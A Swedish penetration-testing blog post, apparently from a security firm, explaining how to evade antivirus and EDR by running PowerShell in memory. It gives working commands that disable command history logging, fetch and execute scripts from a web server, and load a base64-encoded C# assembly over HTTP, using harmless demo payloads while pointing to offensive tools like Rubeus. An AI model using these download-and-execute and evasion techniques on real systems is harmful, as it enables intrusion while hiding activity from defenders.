Simovits

Kör PowerShell i minne

Kringgå antivirus när du använder PowerShell genom att inte skriva filer till disk.

Introduktion

EDR (Endpoint Detection and Response) och antiviruslösningar kan ställa till med problem för penetrationstestare. De larmar, tar bort filer och dödar processer då de flaggas som skadliga. Klassiska (gamla) antiviruslösningar analyserar främst filer för att bedöma vad som är skadligt medan moderna lösningar analyserar beteenden så som suspekta funktionsanrop.

Typiskt för både EDR och antiviruslösningar är att de är dåliga på att analysera kod i minne. Genom att läsa in och köra kod i minne, utan att skriva koden till disk, finns en möjlighet att utnyttja denna svaghet. I denna guide kommer några tips och tricks för att göra detta med Powershell:

Stäng av historiken

Det händer att EDR och antiviruslösningar inte reagerar på kommandon som körs men att de reagerar på raden som läggs till i PowerShellhistoriken. Historiken sparas i en fil ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt) som dokumenterar kommandon som körts via PowerShell.

Stäng av loggning till PowerShellhistoriken med nedanstående kommando [1].

Set-PSReadlineOption -HistorySaveStyle SaveNothing


Förklaring:

Output i terminalen:


Kommandot har ingen output men man kan verifiera att det fungerade genom att undersöka innehållet i historikfilen före och efter att kommandot körts.

Kör PowerShell i minne

När vi stängt av loggning kommer PowerShellkommandon inte att skrivas till historikfilen men hur kör vi kod i minnet? Definera koden i en variabel (i minne) och använd Invoke-Expression för att exekvera koden [2].

Ladda in PowerShellkod i en variabel och exekvera.

$x = 'Write-Output "Hostname: $(hostname)"'
Invoke-Expression $x


Förklaring:

Output i terminalen:


Kommandot i exemplet gör inget speciellt intressant men det intressanta är att vi exekverade kod som definierats i minne (i en variabel) med Invoke-Expression. PowerShell exekverade koden och evaluerade hostname till elitebook då koden kördes på en HP EliteBook laptop.

Hämta kod från webbserver

Vi kan alltså definiera kod i en variabel och sedan exekvera koden men hur gör vi när vi har mycket kod att läsa in? Vi kan kopiera och klistra in koden i variabeln men vi kan också hämta koden direkt från en webbserver med Invoke-WebRequest [3].

Hämta hem ett skript från en webbserver och exekvera.

$r = Invoke-WebRequest -Uri "http://dog.local/woof.txt" -UseBasicParsing
Invoke-Expression $r.Content


Förklaring:


Output i terminalen:


Kommandot ritar en skällande hund i terminalen och det intressanta är att vi hämtade hem koden från http://dog.local/woof.txt och exekverade den utan att skriva filen till disk. Önskas annan kod kan URL:en bytas ut till ett annat verktyg, exempelvis PowerUpSQL [4].

Kör C# binär i minne

På samma sätt som vi kan köra ren PowerShell i minnet kan vi köra en C# binär utan att skriva koden till disk.

Börja med en binär, exempelvis C:\Temp\woof.exe, och konvertera den till bas64.

$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\woof.exe")
[System.Convert]::ToBase64String($bytes) | Out-File -Encoding ASCII C:\Temp\woof2.txt


Förklaring:

Output i terminalen:


Den Bas64-formaterade textsträngen i filen C:\Temp\woof2.txt kan nu användas för att läsa in binären i minne. Som vi såg tidigare kan vi lägga upp filen på en webbserver för att hämta hem och exekvera koden utan att klistra in en lång textsträng i terminalen.


$r = Invoke-WebRequest -Uri "http://dog.local/woof2.txt" -UseBasicParsing
$bytes = [System.Convert]::FromBase64String($r.Content)
$assembly = [System.Reflection.Assembly]::Load($bytes)
[Dog.Program]::Main("")


Förklaring:

Output i terminalen:


Binären ritar en skällande hund och det intressanta är att vi hämtade hem den från http://dog.local/woof2.txt och exekverade utan att skriva binären till disk. På detta sätt kan vi hämta hem en C# binär och exekvera koden direkt i minne, det fungerar på samma sätt som med ren PowerShell men kräver några extra steg, vi måste bygga en binär, formatera den och veta vilket funktionsanrop vi vill exekvera.

För ett intressantare exempel rekommenderar jag att ni läser dokumentationen för Rubeus där det beskrivs hur Rubeus.exe läses in och exekveras i minne [5].

Sammanfattning

Nu har du fyra knep för att köra PowerShell utan att skriva filer till disk.

Notera att moderna EDR och antiviruslösningar kan identifiera skadlig kod trots dessa knep och att fler åtgärder, så som obfuskering, kan behövas för att kringgå detektion. Detta spara jag till en framtida blogg.

Skript

PowerShellskriptet (woof.txt) som användes för att rita den första hunden kan ses nedan.

Write-Host "                       "
Write-Host " ( Woof, woof! )       " -ForegroundColor Blue
Write-Host "           V           " -ForegroundColor Blue
Write-Host "              __      _"
Write-Host "            o'')}____//"
Write-Host '             `_/      )'
Write-Host "             (_(_/-(_/ "
Write-Host "                       "
Write-Host "             PowerShell" -ForegroundColor Blue


C# koden som användes för att bygga binären som ritade den andra hunden kan ses nedan (woof2.txt). Koden byggdes med .NET 4.8 för win-x64.

using System;
namespace Dog
{
    public class Program
    {
        public static void Main(string[] args)
        {
            Console.ForegroundColor = ConsoleColor.Magenta;
            Console.WriteLine("                       ");
            Console.WriteLine(" ( Woof, woof! )       ");
            Console.WriteLine("           V           ");
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("              __      _");
            Console.WriteLine("            o'')}____//");
            Console.WriteLine("             `_/      )");
            Console.WriteLine("             (_(_/-(_/ ");
            Console.WriteLine("                       ");
            Console.ForegroundColor = ConsoleColor.Magenta;
            Console.WriteLine("                     C#");
            Console.ForegroundColor = ConsoleColor.White;
        }
    }
}

Referenser

[1] https://learn.microsoft.com/en-us/powershell/module/psreadline/set-psreadlineoption
[2] https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression
[3] https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest
[4] https://raw.githubusercontent.com/NetSPI/PowerUpSQL/refs/heads/master/PowerUpSQL.ps1
[5] https://github.com/GhostPack/Rubeus